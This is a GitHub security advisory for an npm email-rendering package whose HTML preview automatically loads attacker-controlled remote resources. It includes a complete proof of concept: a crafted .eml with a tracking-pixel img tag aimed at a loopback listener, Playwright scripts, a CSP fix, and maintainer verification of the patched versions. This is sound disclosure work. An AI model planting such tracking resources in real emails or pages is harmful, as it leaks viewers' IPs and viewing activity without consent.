Skip to main content
Menu
Advisories

HTML email preview automatically loads attacker-controlled remote resources

GHSA-X29C-9GMG-F685Published Updated GitHub

Description

HTML email preview automatically loads attacker-controlled remote resources

Summary

@file-viewer/renderer-email renders the HTML body of an .eml message by default. The body is placed in a sandboxed srcdoc iframe, but the iframe has no content security policy and the sandbox does not prevent subresource requests. As a result, merely previewing a crafted email causes the browser to request attacker-controlled URLs embedded in the message body.

I reproduced this in a real Chromium browser with the published npm releases 2.0.11 and 3.0.1. A controlled HTTP listener received a request for a unique image URL without any click or other interaction after opening the email. The current main branch at commit 084ecc48847276df203516f2295c8900ad48a498 contains the same rendering path.

This matters for the documented use cases of intranet attachment centers, ticket email archives, and customer communication review. An untrusted sender can learn that a particular message was viewed and obtain the viewer's source IP, viewing time, browser user agent, and any unique identifier placed in the URL. The browser can also be induced to send blind GET requests to HTTP services reachable from the viewer's network.

Affected component and versions

  • npm package: @file-viewer/renderer-email
  • Confirmed affected: 2.0.11 and 3.0.1
  • Proposed affected range: >= 2.0.11, <= 3.0.1
  • Current repository main: affected at 084ecc48847276df203516f2295c8900ad48a498
  • Patched version: none known at the time of reporting

Version 2.0.11 is the first published version of this package. I did not test the historical @flyfish-group/* compatibility packages, so I am not making a claim about them.

Root cause

The renderer selects the HTML body when one is present and assigns the generated document to an iframe's srcdoc. It sets an empty sandbox attribute, which disables active capabilities such as scripts, but it does not restrict image or other subresource loading. The generated document has no CSP restricting network destinations.

Relevant source locations on the current main branch are:

  • packages/renderers/email/src/email.ts:319-329: builds the HTML srcdoc without a restrictive CSP.
  • packages/renderers/email/src/email.ts:416-417: selects the HTML body by default.
  • packages/renderers/email/src/email.ts:451-457: assigns the HTML to an iframe with sandbox="".

Reproduction

The attached poc/ directory is self-contained apart from dependency installation. It starts a local viewer application on 127.0.0.1:43111, a controlled HTTP listener on 127.0.0.1:43112, and opens the viewer in headless Chromium. The generated email body contains this synthetic tracking resource:

<img src="http://127.0.0.1:43112/REMOTE_PIXEL_TOKEN_7f41.png">

Run:

cd poc
npm ci --ignore-scripts --no-audit --no-fund
npx playwright install chromium
node run-poc.mjs

If Chromium is already installed separately, set CHROMIUM_EXECUTABLE_PATH instead of downloading Playwright's copy.

Observed output for published version 3.0.1:

{
  "renderer_package_version": "3.0.1",
  "expected_remote_pixel_blocked": false,
  "rendered_html_email_by_default": true,
  "iframe_sandbox_attribute": "",
  "attacker_controlled_requests": [
    {
      "method": "GET",
      "url": "/REMOTE_PIXEL_TOKEN_7f41.png",
      "referer": null
    }
  ],
  "remote_pixel_requested": true
}

The unique token appears only in the crafted message, so the recorded request ties the network activity to rendering that message. The test exits unsuccessfully if the expected request is absent.

Negative control and candidate mitigation

I added the following CSP to the generated srcdoc as a minimal demonstration:

<meta http-equiv="Content-Security-Policy"
      content="default-src 'none'; img-src data: blob:; style-src 'unsafe-inline'">

With the rest of the test unchanged, the controlled server received no request:

{
  "renderer_package_version": "3.0.1",
  "expected_remote_pixel_blocked": true,
  "rendered_html_email_by_default": true,
  "iframe_sandbox_attribute": "",
  "attacker_controlled_requests": [],
  "remote_pixel_requested": false
}

candidate-fix.diff contains this minimal change. It is intended to demonstrate the missing boundary rather than prescribe the final user experience. A complete fix could block external resources by default and optionally expose an explicit, user-initiated "load external content" action. The final policy should preserve only the schemes required for locally resolved inline attachments.

Security impact and limits

Confirmed impact:

  • disclosure of the viewer's source IP, view time, browser user agent, and an attacker-selected unique URL token;
  • reliable confirmation that a specific message was previewed;
  • blind GET requests from the browser to HTTP endpoints reachable from the viewer's network.

I did not observe or claim script execution, reading responses from requested resources, credential theft, or server-side SSRF. Browser origin and mixed-content rules may further limit which internal URLs are reachable in a particular deployment. The demonstrated confidentiality impact does not depend on reading a response.

Suggested classification

  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N (4.3, Medium)

Environment and evidence

  • macOS arm64
  • Google Chrome for Testing 151.0.7922.34 (Playwright cache revision 1234)
  • Node.js 26.7.0
  • Node.js-based local HTTP listener
  • Published npm package 3.0.1, locked in poc/package-lock.json
  • Also reproduced against published npm package 2.0.11

Evidence files:

  • raw-vulnerable-browser-output.json
  • raw-fixed-browser-output.json
  • raw-v2.0.11-browser-output.json
  • candidate-fix.diff
  • npm-integrity.txt
  • SHA256SUMS.txt

No request was sent to a third-party host during validation; both the viewer and the synthetic tracking endpoint used loopback addresses.

Complete PoC files

The files below are included in the report so the reproduction does not depend on an external link or attachment. Save them under one directory. Run npm install --save-exact, npx playwright install chromium, and node run-poc.mjs as described above.

poc/package.json

~~~json { "name": "file-viewer-email-remote-content-poc", "private": true, "type": "module", "dependencies": { "@file-viewer/renderer-email": "3.0.1", "playwright": "1.61.1", "vite": "7.1.3" } } ~~~

poc/index.html

~~~html <!doctype html> <meta charset="utf-8"> <title>File Viewer email renderer PoC</title> <div id="target" style="width:1000px;height:700px"></div> <script type="module" src="/main.js"></script> ~~~

poc/main.js

~~~js import { renderFileViewerEmail } from '@file-viewer/renderer-email';

const markerUrl = ${location.protocol}//${location.hostname}:43112/REMOTE_PIXEL_TOKEN_7f41.png; const eml = [ 'From: attacker@example.test', 'To: victim@example.test', 'Subject: Quarterly document', 'MIME-Version: 1.0', 'Content-Type: text/html; charset=utf-8', '', <html><body><p>Local document preview</p><img src="${markerUrl}" alt=""></body></html>, ].join('\r\n');

await renderFileViewerEmail( new TextEncoder().encode(eml).buffer, document.querySelector('#target'), 'eml', { filename: 'attacker-controlled.eml' }, );

document.documentElement.dataset.rendered = 'true'; ~~~

poc/run-poc.mjs

~~~js import http from 'node:http'; import { spawn } from 'node:child_process'; import { readFile } from 'node:fs/promises'; import { chromium } from 'playwright';

const rendererPackage = JSON.parse(await readFile( new URL('./node_modules/@file-viewer/renderer-email/package.json', import.meta.url), 'utf8', ));

const hits = []; const tracker = http.createServer((req, res) => { hits.push({ method: req.method, url: req.url, referer: req.headers.referer || null }); res.writeHead(204, { 'Access-Control-Allow-Origin': '*' }); res.end(); });

await new Promise((resolve, reject) => { tracker.once('error', reject); tracker.listen(43112, '127.0.0.1', resolve); });

const vite = spawn('./node_modules/.bin/vite', ['--force', '--host', '127.0.0.1', '--port', '43111'], { cwd: new URL('.', import.meta.url), stdio: ['ignore', 'pipe', 'pipe'], });

const waitForVite = async () => { for (let i = 0; i < 80; i += 1) { try { const response = await fetch('127.0.0.1'); if (response.ok) return; } catch {} await new Promise(resolve => setTimeout(resolve, 100)); } throw new Error('Vite did not start'); };

let browser; try { await waitForVite(); const launchOptions = { headless: true, }; if (process.env.CHROMIUM_EXECUTABLE_PATH) { launchOptions.executablePath = process.env.CHROMIUM_EXECUTABLE_PATH; } browser = await chromium.launch(launchOptions); const page = await browser.newPage(); await page.goto('127.0.0.1', { waitUntil: 'networkidle' }); await page.waitForFunction(() => document.documentElement.dataset.rendered === 'true'); await page.waitForTimeout(300);

const expectBlocked = process.env.EXPECT_BLOCKED === '1'; const result = { renderer_package_version: rendererPackage.version, expected_remote_pixel_blocked: expectBlocked, rendered_html_email_by_default: await page.locator('iframe.email-html').count() === 1, iframe_sandbox_attribute: await page.locator('iframe.email-html').getAttribute('sandbox'), attacker_controlled_requests: hits, remote_pixel_requested: hits.some(hit => hit.url === '/REMOTE_PIXEL_TOKEN_7f41.png'), }; console.log(JSON.stringify(result, null, 2)); if (expectBlocked ? result.remote_pixel_requested : !result.remote_pixel_requested) process.exitCode = 1; } finally { if (browser) await browser.close(); vite.kill('SIGTERM'); await new Promise(resolve => tracker.close(resolve)); } ~~~

---

Maintainer verification (2026-10-28)

The original report documents tests of published versions 2.0.11 and 3.0.1. The reporter's existing 2.0.11 lower bound is retained; it is not represented as independently retested here. Maintainer tests independently confirmed automatic resource requests in published 3.0.1, 3.0.2, 3.0.3, 3.1.0, and 3.1.1, extending the previously reported affected upper bound beyond 3.0.1.

Published @file-viewer/renderer-email@3.1.2 is the first independently verified release that blocks the reported automatic remote-resource loading. Published 3.3.0 also passed this security boundary. Tests used real EML parsing and controlled loopback resource endpoints in Chromium and WebKit, including an escaped CSS-import control. Rich text and tables were retained, with the CSP and empty iframe sandbox preserved. The tests did not contact third-party tracking endpoints.

Separate compatibility finding: the HTTP-parent inline CID image path in 3.1.2 and 3.3.0 could not decode parent-owned blob URLs inside the opaque sandbox. A bounded raster-data-URL compatibility correction has been validated privately while preserving the sandbox, CSP, and resource budgets, but has not been published. It is not included in the published patched-version field and is distinct from the already-fixed automatic remote-resource loading vulnerability.

Affected versions

References

GitHub · flyfish-dev/file-viewer